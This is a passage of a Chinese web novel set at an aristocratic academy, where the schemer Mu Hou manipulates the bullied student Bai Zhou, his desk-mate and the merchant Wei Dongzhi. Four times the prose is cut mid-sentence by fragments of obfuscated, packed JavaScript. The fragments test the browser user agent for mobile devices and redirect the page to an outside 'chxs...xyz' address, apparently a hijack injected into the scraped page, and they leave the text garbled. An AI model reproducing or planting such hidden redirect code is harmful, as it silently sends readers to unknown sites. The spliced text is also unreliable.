一天的课很快结束,教室里的同学收拾东西离开,牧后叫住了拎起书包的丁鹏程。 “来吧,我的助手。现在有活儿给你了。” 牧后把手中的信封交给丁鹏程,“帮我送个信。” 丁鹏程接过来,“送到哪里?” “送到信封上面写的那个地址。” 丁鹏程:“哦……” “听起来很不情愿啊,”牧后挑眉,“你不会刚打了赌,转头就不认账了吧?” “怎么可能,我才不是那种人!” 丁鹏程一拍桌子站起来,桌子上面的文具碰撞,发出“哐啷”声响,引得周围学生纷纷投来目光。 注意到周围人莫名其妙地望着他,丁鹏程有些不好意思,缩了缩脑袋坐回去,小声辩解,“……我只是一直想不明白你是怎么做到的。” 他又补充一句,“怎么你说靡怀烟坐哪儿靡怀烟就坐哪儿呢……你是神仙吗?” 一米八五的大高个就这么坐在那儿,瞪着牧后,两只无知的大眼睛眨呀眨。 牧后觉得挺有意思。 自己的同桌不光碎嘴子,还蠢得有点可爱。 “你想知道啊?那我就告诉你。” 牧后神神秘秘地压低声音,招手让丁鹏程凑近点,“不过这事儿只能你一个人知道。” 丁鹏程做了个在嘴上拉拉链的动作:“你说,我绝对不外传。” “真不外传?”牧后故意逗他,“你平常不是挺喜欢八卦的吗。” “我这次绝对忍住,不跟别人说。”丁鹏程有点着急,“我对天发誓!” “行,你都发誓了,那我就告诉你吧。”牧后一本正经,“我其实会算命的,我早就算出来他会坐在哪里。” 丁鹏程的眼睛瞪得更大了,“……真的?” “你不信?那这样,我现在就算一卦给你看。” 牧后闭着,眼在指尖掐算,嘴里念念有词,“……六十四易经七十八塔罗紫微斗数文墨天机麻咪麻咪哄……” 猛一睁眼,“算出来了!” 丁鹏程赶紧问,“算出什么了?” 牧后指着刚才给丁鹏程的信封,“你把这封信给收信人,他看完信对你说的第一句话就是‘品味不错’。” “别人说什么你也能算出来?”丁鹏程惊讶,接着有些忸怩道,“那你能不能算算我、我什么时候脱单……” 书里没写我算个锤子。 牧后立刻板起脸,“那可不行,算人生大事是要折寿的。” 接着他挥挥手,催丁鹏程赶紧去送信,“对了,信的内容你可千万不要偷看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918275|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我知道!” “千万别看噢!” “我不会偷看的!多嘴!” 牧后笑眯眯地目送丁鹏程从教室后门离去。 他转回身来,差点被吓一跳。 白昼正直勾勾地盯着他。 白昼语气幽怨:“你根本不会算命,你在骗他。” 牧后挠了挠自己鬓角。 终于憋不住了? 自己这一整天故意没跟主角说话,还假装跟他不认识,小孩现在估计都得憋疯了。 牧后又挠了挠鬓角,叹气,“你比他机灵。” 白昼咬了咬嘴唇,“你就不想解释一下吗?” 牧后装傻,明知故问道: “解释什么?” “昨天你为什么救我?……救我之后又让我出丑。” 我看不懂你。白昼心想。 他很难想象一个人为了找他而大汗淋漓,喘着粗气,偷了安保的钥匙一个一个柜子地试过去。 更难想象这个人费了这么多功夫找到他,既不求回报也不图感激,仅仅只是为了完成一个无伤大雅的恶作剧。 甚至是不是恶作剧都两说。 从牧后身上,他感受不到恶意,也感受不到善意。 这几乎让他混乱——为什么? 牧后却没有回答白昼的问题,而是突然以闲聊的语气,说起了其他事: “哎,白昼,你过六岁生日的时候,是不是在蛋糕前许下过这样一个愿望?” 这人怎么总不听人说话! 白昼语气加重:“你在转移话题。” 牧后接着说,“你许愿说,希望你和你的家人能永远这样幸福下去。多可爱。” “那又怎样?” 被反复无视,白昼的怒气逐渐积聚,“一个生日愿望而已。人人都可以过生日,人人都可以许愿,没什么特殊的。” “怎么会不特殊?”牧后摇头,“这可是你过的最后一个生日,许的最后一个生日愿望。” 白昼隐隐有不好的预感:“你都知道些什么?” “我知道你过完那个生日不久后,就被送到了福利院。我知道你六岁那年发生的事。不,准确来说,应该是从那之后发生的所有事。” 白昼面色惨白:“你为什么会……” “算命算命,算的是命。”牧后笑得很开心,“我算得出他的未来,当然也算得了你的过去。” “别糊弄我了!” 白昼突然抓住牧后的领子,手指收紧,直到关节发白: “你到底是什么人?” “知晓你的愿望、了解你的苦痛,会在你成人的夜晚变出豪华的南瓜马车和水晶鞋带你去参加舞会……还能是谁?” 牧后眨了眨眼,以一种似笑非笑的表情看着白昼: “我是你的仙女教母啊。” 5. 许愿 龙谷今天烦得要死。 他昨天跟小弟们把白昼锁进了铁柜子,今天特地起了个大早,想大发慈悲地把白昼放出来,顺便嘲笑他的丑态。 没想到,今天早上柜门一打开,里面没人了。 然后班主任,带来了让他更加烦躁的消息——白昼转班了。 他奶奶的。 龙谷一脚踹倒脚旁边的椅子。 想借转班来躲我?门都没有! “查到他转到哪个班级了吗?” 龙谷横靠着墙,两只手臂分别霸占着两张桌子。 坐在后面的同学敢怒不敢言。 旁边的小弟冷汗津津,“还没……” “咚!”龙谷一脚踹在小弟的屁股上,把人踹飞出去,“废物!一天了都没找到。” “没一个有用的,”他不耐烦地挨个看过每一个小弟,“一点新消息也没有?” 几个小弟七手八脚地把被踹飞的人扶起来,其中一个小弟恭敬走到龙谷身边,小心翼翼地说: “有新消息,但不是关于白昼的……有个其他班的学生过来,说有你的一封信。” “啧。”龙谷皱着眉抬抬下巴,“叫他进来。” 小弟就往门口走去。 丁鹏程在班级门口探头探脑地站好久了。 小弟把丁鹏程引到龙谷面前,龙谷什么也没说,拿过信封撕开,随手把碎纸扔在地上。 看完信,龙谷抬头看了眼丁鹏程,哼了一声,“品味不错。” 我去。丁鹏程惊了。 是真的! “信里说的很对,这个点白昼一定会去餐厅,不愁找不到他。” 龙谷随手把信纸一扔,纸飘到丁鹏程脸上。 他披上外套,对小弟们说,“走了,我们去餐厅堵人!” …… …… 白丽莎是离教学楼最近的餐厅,装修很现代化,大部分学生都会选择来这里解决晚餐。 当然,按照贵族学院的调性,餐厅也要分出三六九等。 白丽莎的一楼面向大众,价格亲民。 二楼则多了些山珍海味,价格直线上升。 至于三楼……有钱也未必吃得到,这里只有贵族学生才有资格进入。 没错,这个世界存在货真价实的“贵族”。 封号依旧是公侯伯子男这一套,只不过他们握有实权——甚至一部分贵族握有兵权。 虽然阶级割裂感渗透进了学校每个角落,但也不是说一楼的食物就不好吃。 事实上这里的水平远超一般食堂。 就比如最角落窗口的泡芙塔。 牧后对着玻璃橱窗纠结买哪个口味的时候,手机响了起来。 他把牛皮小本揣进挎包,空出手接电话。 手机里传来丁鹏程的大嗓门: “还真让你算到了!他说的跟你猜的一模一样。” 牧后举着手机,从每一个甜点的标签上看过去,随口答道,“情理之中。” 龙谷是书中典型的肌肉发达头脑简单,猜测他的反应不难。 况且,他为了测试丁鹏程会不会偷看信件内容,特地在信的最后加了一句话。 【送信的人是三角裤派。】 ……好吧,恶俗是恶俗了点,但胜在好用,也可以避免丁鹏程被打。 毕竟龙谷一向头脑简单地认为三角裤派没有坏人。 “不过那人看着可真凶,他是咱们学校校霸吧?” 丁鹏程啧啧两声,“他带着一帮小弟去了白丽莎,说要堵人,不会就是你吧?你招惹他了?” 牧后:“不是来找我,是来找白昼。” 丁鹏程:“白昼?就是今天上午跟靡怀烟一起来的转班生?” 牧后:“嗯。” 丁鹏程:“他们去找白昼干什么?” 牧后:“去进行一些残忍的问候。” “残忍的问候?不会是……” 丁鹏程反应了一会儿,才说道,“所以信里是跟白昼相关的消息?” 牧后:“嗯。龙谷脑子不太好使,总也找不到,我替他着急。所以水推舟了一把。” 电话那端的丁鹏程沉默了片刻: “……我怎么感觉你不像个好人?” “现在才发现?晚了,” 牧后伸手指向橱窗后面草莓味的泡芙塔,和善地笑笑,示意店员帮忙打包,“你已经把自己卖给我了。” …… …… 龙谷从一个路人手里抢过餐盘,狠狠扣在白昼头上。 白昼麻木地站在原地,任由餐盘里的食物盖了他一头一脸。 盘子从白昼身上掉下来,周围人才看清他身上的是些什么——奶油、蛋糕碎屑和草莓果酱。 龙谷因为羞辱了白昼而得意洋洋,他的小弟跟着捧场叫好,周围人探头探脑地看起热闹。 只有路过的牧后,看着自己空荡荡的手。 牧后:“……” 我的泡芙塔。 这次离得有点近了,果然看热闹是要付出代价的。 而始作俑者还在耀武扬威。 龙谷捏着白昼的下巴,拇指将奶油在白昼干裂的嘴唇上晕开: “这次只是警告而已,别想逃出我的手掌心。” 说罢拍怕白昼的脸,招呼其余小弟离开了白丽莎。 没热闹可看,其余人也逐渐散去,周围只剩牧后。 他安静地站在旁边,以一种不带情绪的目光居高临下地审视白昼。 这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918276|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子太脆弱。他想。 稍加压力,就像一簇过于瘦削干枯的花枝那样折断了。 这个状态可没法使用。 牧后叹息一声蹲下身来,轻轻握住白昼的手,将白昼从地上拉起来。 第一次没成功,白昼没有反应。 第二次成功了,这次白昼似乎有些许的回神,他麻木顺从地跟着牧后的力道站起来。 两个人就这样手牵着手,牧后在前,白昼在后,两个人沉默的走着。 像上一次一样,不过这次没有奔跑,只是很安静地走。 牧后带他进了一楼和二楼交界处的一个洗漱间。 他抽出纸巾,帮白昼把头发上的奶油一一擦去,碎屑扔进垃圾桶。 “你想永远这样下去吗?” 牧后一边清理一边问,“永远这样任人欺凌。然后逃避、畏惧、逆来顺受?” 白昼低着头不说话。 良久他才出声,声音沙哑:“……我习惯了。” 牧后停住了手上的动作。 他站在白昼身后,将手掌轻轻覆在白昼的眼睛上,一路向上,直到将他过于厚重的刘海掀起。 头被迫上仰,眼睛失去遮挡,瞳孔中瞬间涌入大量光线,白昼因不适而下意识扭头挣扎。 牧后强硬地扶正白昼的头,让他看向镜子里的自己—— 镜子里的少年纤瘦挺拔,眼睫急促地颤动着,被打湿的黑发蜷曲着贴在耳边,皮肤呈现出几近透明的白。 他尚未完全长开,哪怕已然成年,脸庞却还保留着少年人的青涩,与他初具雏形的俊美融合成一种独特的动人气质。 毫无疑问,这是一张被神明所眷顾的脸。 而此时,这张脸上布满痛苦的阴云。 “看着你自己,” 牧后轻声说道,“习惯了不会是这样的表情。只要还在痛苦,就不会习惯。” 白昼垂下眼,看向洗漱台边干涸的水渍,声音逐渐颤抖: “可我害怕他们。我没办法改变,只能习惯。” “我可以帮你。”牧后说,“所以向我许愿吧,对着我许下的愿望都能成真——仙女教母可比生日蜡烛好用多了。” “什么都可以么?” “什么都可以。你想要的一切都可以得到。” “……那我想要改变。我不想再这样唯唯诺诺地活着。” “很好。”牧后循循善诱,“再说一遍。” “我想要……改变。” “再来。” “我想要改变。” “好极了,”牧后双手下滑,轻放在白昼的肩膀上,看向镜子里的两个人,“那我们就从——接下靡怀烟的舞会邀约开始。” ………… ………… 6. 三十万 “真的?” 人声鼎沸的教室里,靡怀烟很开心地捧住了白昼的脸,“你真的愿意跟我一起去舞会?” “嗯嗯……” 白昼僵硬地点头。 靡怀烟依旧捧着白昼的脸,但看向他的眼睛中多了一丝探究: “我有些好奇是什么改变了你的想法呢,毕竟邀请你的时候,你似乎对舞会不太感兴趣。” 白昼很不好意思: “我只是突然觉得拒绝不太礼貌……对不起,你想反悔也是可以的。” 靡怀烟放开了他,斜斜靠在了课桌上,金色的半长发在颈边晃动: “我怎么会反悔呢?舞伴这个位置我一直为你留着,如果你拒绝了,我也不打算再邀请别人。” 鬼话。在一旁听着的牧后想。 半小时之前你不是刚给自己的小情人们打电话发出邀约了么?这匡人不打草稿的水准跟自己都有一拼了。 果然是F4中最难攻略的人,让人头疼。 不过好在,现在的f3只是用来接触其他人的跳板,放在后期攻略也不迟。 靡怀烟在教室里待不久,便又走了。 他来上课最大目的,不过是来他可爱的小猎物周边巡视一圈,嗅嗅有没有其他竞争对手的气味罢了。 牧后则开始叮嘱: “记得周天空出一天的时间来,我带你去置办舞会礼服。” 白昼迟疑地说道:“我没钱。” “别担心这个。” 牧后说,“礼服、马车、水晶鞋这种事交给仙女教母来操心,你只需要把你的头发收拾一下,不要老留这么厚的刘海。” 牧后拨弄着白昼的头发,越看越不顺眼,玩了半天,干脆从丁鹏程书包里摸出一把剪刀,颇有些摩拳擦掌跃跃欲试: “我一剪刀把你的刘海给剪没算了。” 白昼盯着他那把剪刀,眨了眨眼。 “好的。你剪吧。” 早秋的风拂过脖颈,吹起白昼乌黑的发尾。 他并未察觉到牧后语气中的玩笑意味。 他只是像收到命令一样,撑着桌子,将前额送到牧后的剪刀之下。 如此温顺,如引颈带宰的羔羊。 这种感觉很不好。 牧后沉默了片刻,放下剪刀。 他发现自己竟然……在为那一瞬间产生的愧疚而感到恐慌。 我是不是做得有些过火,将他揉得太碎? 一个完全依附于自己的人偶自然是好的。听话、乖巧,用起来是最得心应手的棋子。 但如果要为了自己的目的而将另一个人掏空,变成彻底的提线木偶,那么…… 停下,牧后对自己说道。 你不能愧疚,因为你不配有良心这种奢侈的东西。 …… …… 梅迪亚纳学院东部,中央步行街。 牧后穿行在一家近乎占了商场半层楼的西装成衣店,手里抱着一摞符合白昼尺码的西装马甲。 “烟灰色细条纹……不行,这个有点太成熟了,要纯色吧。这一件也拿上。” 牧后从衣架上挑出一件塞到白昼怀里,“这件跟外套一起试。” “可惜咱们预算有限,否则来一趟,干脆把猎装一起买好算了,以后总也用得到。” “对了,斗篷也要备好,去舞会的时候要带着一起……” “深蓝色条纹领巾配米白色呢子西装,很可爱,符合你的气质,只是看起来像一块过甜的小蛋糕,太容易招蜂引蝶。” “哎,对,转一圈。” “把胳膊抬起来,看看肩膀那里。” 牧后指挥着白昼试衣服,看到丁鹏程来了,“让他帮你选,记得马甲一定要白色的。” 白昼一下抓住牧后衣角,“你要去哪?” “暂时离开一下,别担心,我很快就回来,我要去的地方离这里不远。” 牧后出了成衣店,过了一条街,找到了日盛商会。 这商会的来头不小,学院作为汇集了贵族后代和顶尖精英的地方,周边的各种商业娱乐业等服务业尤其发达。 可以说,这是块各方势力鱼龙混杂的地界,这商会却始终能站住脚。 背后的老板,恐怕有的不只是两把刷子。 商会的公办小楼闹中取静,坐落在一个不太起眼的院子里。 牧后站在楼前拍了拍脸,意图给自己松松脸皮。 接下来的任务可是要钱,得拿出十成十的不要脸的劲。 不过说实话,不要脸这事……自己算是熟练工。 牧后走到门口,门卫立刻上来拦住他,“你来找谁?” 牧后递上一封信,“我来找你们危老板。” 危栋之,日盛商会的幕后老板。年纪轻轻,但身家已经可以跟一些老牌贵族比肩。 开个玩笑说,把一些油尽灯枯到只剩头衔的贵族一家上下全买下来都没有问题。 不过可惜就可惜在危栋之商贾出身,身上没流贵族“高贵”的蓝血,为人也比较低调,否则没准F4得变成F5。 而且,为了个无法确认真假的消息,就愿意拿出百万级的价码,这不是明晃晃在脸上写了“人傻、钱多、速来”吗? 不赶紧去宰上一笔,牧后感觉自己的心都会流血。 两边站岗的人神情将信将疑,拿过信封就要拆,牧后赶忙上前阻止,故意忸怩地陪着笑,“独家消息,不可外传。” 站岗的人让这笑腻得一激灵,“啪”地一下从牧后手中抽过信封,头也不回地去通报了。 没过一会儿,屋内出来了人,示意牧后跟在他身后。 整个建筑占地面积不小,屋内的结构也相当复杂,他们七扭八拐,终于来到了二楼的一处房间。 领他上来的人恭敬地在门前停住脚步,“就是这里了,请进吧。” 牧后礼貌道谢,看着带路的离开后,他才缓缓拧动把手。 里面是一间书房。 屋里没有亮灯,厚重的天鹅绒布窗帘半拉着,映出一个人的剪影——他的脊背极其挺拔,不像是坐在书桌前,而是像把剑一样钉在书桌前。 一线光从缝隙中透出,划过那人的脸庞,映出刀削般挺拔的曲线。 睫毛浓密,眼眸湛蓝如冰。 这就是危栋之么。牧后错眼打量着。 跟他想象中略有出入。 危栋之这个角色只出现在跟f3相关的剧情里。 他对谁都很冷酷,唯独对f3态度柔和。 可惜f3是风流成性的花花公子,跟谁都能亲亲抱抱举高高。 因此每次f3跟主角有亲昵互动时,危栋之就会在远处“咬碎了牙”或者“捏碎了手中的杯子”,“一拳捶在墙上”等等,开始诸如此类的无能狂怒。 这就导致,尽管危栋之总是擎着一副铁血冷漠的做派,但牧后总觉得他身上有种……守活寡的怨妇感。 “如何证明你的信息是真的?” 昏暗中,怨妇漠然开口。 如何证明你给的价码是真的? 牧后腹诽。 可惜这句话万万不能讲出口,这涉及到他的一个行事准则,那就是降低自己的存在感。 他可以跟角色建立联系,但最好不要登上舞台,就像他的名字,牧后应该永远守在幕后。 那么问题来了,如何在手握权势又酷爱装逼的人面前减弱自己的存在感,让他完全记不住你? 答案是谄媚和畏惧。 理由很简单,这两种态度是上位者们最常见到的。当你无法给他们新奇感时,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918277|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们自然就不会注意你。 或者从相反的角度来考虑——什么样的人会引起他们注意呢? 当然是主角式的正直善良和不畏强权。 可惜自己家主角的性格还很懦弱,后期对同类型的f4的攻略,可以预料到会很艰难。 得想点办法给小孩树立自信……把这个当做代办项提上日程吧。 牧后有些走神。 “不要让我再问第二遍。” 危栋之显然已经有些不耐烦了。 “这个……我没法证明。” 牧后低下头,避开他咄咄逼人的目光,一点磕巴不打地开始瞎说,“不过我亲眼看见这人有一条f3的方巾,还拿它擦桌子!” “用怀烟的方巾擦桌子?!”声音明显带上了一丝怒意,“他好大的脸!” “就是啊,我都没眼看,”牧后跟着一起痛心疾首,就差捶胸顿足了,“所以他嫌疑很大啊!很有可能就是你们悬赏的神秘新生。” “别人都没看到?” “没有,就我一个人看到了。” “你们是什么关系?” “这个……算是朋友吧。” “哼,卖友求荣。” 蓝眼睛少爷极其轻蔑,“你这种人倒真不配有朋友。” 牧后连忙陪笑,“谁说不是呢。” “滚吧。” “好嘞、好嘞,爷。我这就滚。” 牧后立刻躬身后退,打算愉快地滚去领他的赏金。 没想到却被叫住了,“你叫我什么?” “呃……” 牧后握着门把手,微侧过头,目光拘束地落进团长的蓝眼睛里,“爷?” 麻烦了。牧后心想。 他最不擅长应付这种介于路人和重要角色之间的类型。 他们有身份、有背景,有个人特色,但是戏份却很少,很难从中推断这个人的完整性格。因此哪一句可能会踩雷很难预料。 牧后立刻改口,转移话题,“老板,您的商会的气氛怎么如此肃杀?我看不像商会,反倒像个军营。” 危栋之:“对往来客人是商会,对你这种来路不明的人来说,未必。” 牧后问道,“您一直钦慕靡怀烟,这已经成为人尽皆知的事实。您为何只是收集情敌们的信息,而不下手处理他们呢?” 危栋之:“我答应过f3,不会对他那些狂蜂浪蝶采取强硬手段。” 牧后:“您既已经说您不会对f3周围的那些人做什么,那在下还有一个提议,不知当讲不当讲。” 危栋之:“有话直说。” 牧后:“您这么在意,却又不敢动手,不如让我做您身边的间谍,平日帮您看着这家伙的行为,若他跟f3有有什么出格的风吹草动,便可第一时间通知您。” 危栋之沉默了一会儿,“你想要什么?” “钱。”牧后说。 “要多少?” “三十万。” 危栋之点头同意:“好。” 牧后补充:“是一个月三十万。” “啪嚓!” 危栋之手中的杯子被摔在他对面的窗户上。 碎片划过牧后的脸,蹭出一道红痕。 牧后:“……” 牧后蔫蔫地说:“十万也行。” “故意说个高价,然后再主动降低?这么一听十万倒不算什么了。” 危动之冷哼,“你比我会杀价,这商会会长的位子该由你来坐。” 牧后立刻抹去那一脸恹恹的神情,十分欣喜地道,“真的吗?” 危栋之猛地举起桌上的台灯。 牧后瞬间缩头。 危栋之重重把台灯放下,哼了一声,“真是奇怪,我倒感觉让你这无耻小人耍的团团转了。” 7. 秘密 周二傍晚。斐尔金馆。 馆外夜色渐浓,馆内华灯四起。 此时涌入馆内的人们大都是追逐声色的夜行动物,这个时间才刚刚让他们兴奋起来。 危栋之坐在二楼靠近栏杆的位置,俯瞰着一楼大厅里的人群。 距离舞会开始还有一段时间,宾客就已经到了□□成。比起二楼,下面热闹得多。 侍立在旁边的秘书躬身询问: “您不下去与您的生意伙伴、以及主办方打招呼吗?” 舞会的目的不是跳舞,而是社交。 危栋之在商场浸淫许久,自然对这点一清二楚。 但他今天没这个心情,况且视野之内的宾客没一个值得他亲自下场。 他来这里,只因为那个人也会来。 危栋之端起桌上的香槟杯,靠在椅背上: “你替我去吧,把我的问候带到,告诉主办方他们组织了一场不错的舞会。具体如何措辞你应该知道。” “好的。”秘书离开,走向楼下。 危栋之盯着一楼入口处,百无聊赖地摇晃着手中的低度数香槟。 他并不打算喝,只是破坏其中的气泡来消磨时间,等待着那个人出现。 等气泡被他晃到差不多全部消散,他便更换一杯新的。 如此周而复始。 危栋之今晚第三次抬手,示意重新添酒。 侍应生应声而来,拿走危栋之手里跑了气的香槟,换上一只新杯。 危栋之微侧过头,看他摆弄。 只见侍应生用酒布托在瓶底,单手向他杯中倾倒充满气泡的酒液,另一只手背在身后。 接近三分之一满时,他微微旋转着将瓶口抬起,再由刚才背在身后的手扶正。 整套动作精确、流畅,如同表演般赏心悦目,不作一点声响,就连气泡爆破的声音都几不可闻。 比前两个侍应生好了太多。 危栋之抿了一口香槟,随后将它放在桌边。 他一向欣赏具备专业素养的人,此时一般会特地给些小费—— 前提是这位服务领域的人才不是自己员工的话。 “牧后。” 危栋之淡淡地叫了一声。 那侍应生身形一僵,转过身来。 “……这位贵宾,您还有什么吩咐?” 危栋之斜睨着他:“是我给你的工资不够高吗?让你还要打双份工。” 牧后抱着酒瓶讪笑: “瞧您这话说的,赚钱谁嫌多呀。” 眼见危栋之脸色要开始转阴,牧后赶忙上前两步,凑近,压低声音表忠心: “您要是给我加薪百分之二十,这儿的工作我立马辞掉不干,现在就去交辞呈。” 危栋之:“在这里你能拿多少?” 牧后在这方面倒挺有原则:“我们签了保密协议的,不能乱说。” “是么?”危栋之挑眉,“我也可以在我们的合同里新添一条,比如‘工作期间不可兼职’。” “合同都签完了,您还怎么添……哎,好好好,我说还不行。”牧后服软。 “今晚干这一次,就这个数。” 牧后伸手比了个八。 “八万?”危栋之问。 “是八百。”牧后回答。 “没出息。” 危栋之拾起牧后给他倒的那杯香槟,轻啜一口,遮住嘴角的笑意。 他还以为有多少。 八百,连自己给出工资的零头都算不上。 牧后却一点也不嫌弃: “蚊子再小也是肉嘛,再说斐尔金馆的侍应生可不好进,筛掉了好几批呢。您不知道我费了多大劲儿才入选。” 以他的技术,去哪都不成问题。 危栋之想起刚才牧后倒酒时堪称精确的姿势,知道牧后的话里,起码有一半是现编的瞎话。 斐尔金馆对侍应生的筛选确实严苛,只是他们的严苛不体现在专业度上,而是体现在“品相”上。 没错,是品相。 指的是侍应生的身段和样貌。 这也是他不屑于下去打招呼的原因之一。 说穿了,斐尔金馆馆长就是个游走于各方势力之间的掮客,他更在乎他的侍应生们会不会被参加舞会的贵族们带走,而不是提高服务质量。 而来斐尔金馆的侍应生,则大都对此心知肚明,甚至有意如此。 当然,也不排除有个别憨傻些的不知情,纯粹是不小心混了进来。 至于牧后是哪种……实话讲他并不在意。 只是这次偶遇,让他发现,自己似乎从未认真观察过这位毛遂自荐的新员工。 危栋之静静地打量着牧后。 统一规格的白衬衫、黑色西装马甲加领结。 身材确实不错,腰肢更是挺拔。不知是天生的衣架子,还是侍应生制服恰巧合了他的身。 黑马甲因为规规矩矩地束好,反倒会随着轻微的运动,生出细小褶皱,勾出腰线。 微卷的头发几乎是毛茸茸的,眼睛很亮,并且—— 危栋之的思维在这时突然顿住了,脑海中飘进一阵白雾,阻止他仔细打量下去。 危栋之皱眉:“我刚才说到哪了?” 牧后立刻贴心地帮他续上:“您刚说要给我加薪百分之五十。” 还偷着涨价了。 “滚。”危栋之言简意赅。 “好嘞。”牧后抱着酒瓶就要滚蛋。 “等下。”危栋之叫住他。 牧后回头,一副很遗憾刚才没走快点的表情: “又怎么了,老板?” “别下去了,留在这帮我找人,”危栋之甚至示意牧后可以坐下,“你这人精似鬼,必不会看漏。” 出力少,工资多,不必跑来跑去。 比起楼下,明显是楼上更加轻松。 也正是因为牧后精似鬼,危栋之算准了他不会拒绝。 “不行。”牧后拒绝。 危栋之:“……” 危栋之简直怀疑自己的耳朵,“什么?” 牧后:“我朋友还在楼下呢,这家伙可是个彻彻底底的新手,我担心他闯祸。” 危栋之:“给你加薪百分之二十。” 牧后:“我还是得……” 危栋之:“百分之五十。” 牧后:“真不行,老板。那家伙是我带来的,我得去看着点才行,万一真闯了祸,我怕是得跟着一块儿滚蛋。” 危栋之:“你就不怕从我这儿滚蛋?” 牧后:“您大人大量,肯定不会跟大堂经理一样计较。” 危栋之:“百分之二百。” 牧后可怜巴巴地看着他家老板,苦笑不语。 意思就是不行。 危栋之盯着看了一会他这幅可怜相,闭了闭眼睛,“滚吧。” “哎,得令。” 牧后赶紧依言滚开。 他无视了另一桌宾客举杯的暗示,疾步走到角落的酒格旁。 他再次回头,确认危栋之被重重人影挡住,看不到这边,然后迅速把手中的香槟酒瓶放回冰桶里,拿出封好防水后藏在里面的手表和耳机,准备离开二楼。 遇见危栋之是意料之外。 他知道自己的新老板一定会参加今晚的舞会,只是没想到自己会被认出来。 虽然有幸脱身,但花掉的时间却比预想中的多。 该执行下一步计划了。 牧后顺着古典装潢的旋转楼梯下去,终于在一楼后厨找到手忙脚乱,正在帮倒忙的丁鹏程。 “这位我想借来用一下。” 牧后指着丁鹏程,向后厨总管礼貌请示。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918278|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后厨的工作人员们立刻同意,并再三表示他们这里不缺人手,借完了也不用还。 两人走到连接后厨和前厅的走廊外。 看着脸上沾了好几道酱汁的丁鹏程,牧后奇怪:“你不是应该在前厅吗,怎么跑去后厨了?” 丁鹏程回想起在前厅的经历,万分惊恐:“有人摸我屁股!” 牧后淡定:“那你就摸回去。” 丁鹏程:“……真的可以?” 牧后:“当然可以,对方摸你的时候,就已经赋予了你摸他的权利,他甚至暗地里渴望你摸回去。” 丁鹏程:“可是我不想摸别人的屁股。” 牧后点头表示欣喜: “很好,这说明你是正常人。不正常的人才会在舞会上到处摸别人的屁股。” 说话间牧后从口袋里拿出圆珠笔,在一张随手扯来的发票背面写了两句话,然后对折了三下,交给丁鹏程: “快到时间了。十分钟后你去把这个给白昼,让他去B厅,开始弹那首我们练习了很久的曲子。” “另外,”牧后搭着丁鹏程的肩,“要是遇到领班问起我去哪儿了,你就说我被贵客留在二楼了。” 丁鹏程:“那领班要是去二楼,问你是不是真在呢?” 牧后:“二楼的那位贵客会帮我打掩护的……大概吧。” 丁鹏程看到牧后挽起袖子,褪下马甲,搬起墙边的梯子和一个破烂的迪斯科灯球,向根本没开灯还一片漆黑的副厅走去,不禁好奇,“你要去做什么?” “去给人编一个陈旧的梦。”牧后答。 …… …… “去干什么见不得人的勾当了,竟然还敢让我帮你打掩护?” 危栋之似笑非笑地看着牧后。 牧后已经恢复了侍应生的标准装束,不过领结松垮,鼻尖发红,下颌多了两道不明显的细小伤痕,显得很是可疑。 牧后自己倒很坦然: “那您帮我打掩护了没?” “我说你在给我调酒。你的领班没起疑,或者说也不敢起疑。只是没想到你真是第一种人。” 危栋之的脸色并不好看,他并不想被牵扯到这种事中,“如果我提前知道你是去做什么,也许就不会这么好心了。” 牧后一愣,“您觉得我是去做什么了?” “哦,”发觉危栋之的视线停留在自己的领结和伤口上,牧后恍然,“原来您以为,我是跟楼下某个贵族进行钱色交易去了啊。” 危栋之被噎了一下,他没想到牧后这么直白地说了出来,只好挑眉,“不然?” “我其实……” 其实他没想到副厅的穹顶那么高因此挂灯球的时候差点踩空滑了一下,不过—— 牧后正色道:“您明察秋毫,我确实是钱色交易去了。” 危栋之:“……” 这人好不要脸! “唉唉,老板,别生气,为了答谢您替我打掩护,我送您一个秘密吧。” 牧后知道自己再逗危栋之就要翻脸了,因此见好就收。 “这个秘密听起来劲爆,但对您来说大概也没什么价值,您就当是一则趣闻,听听罢了。” 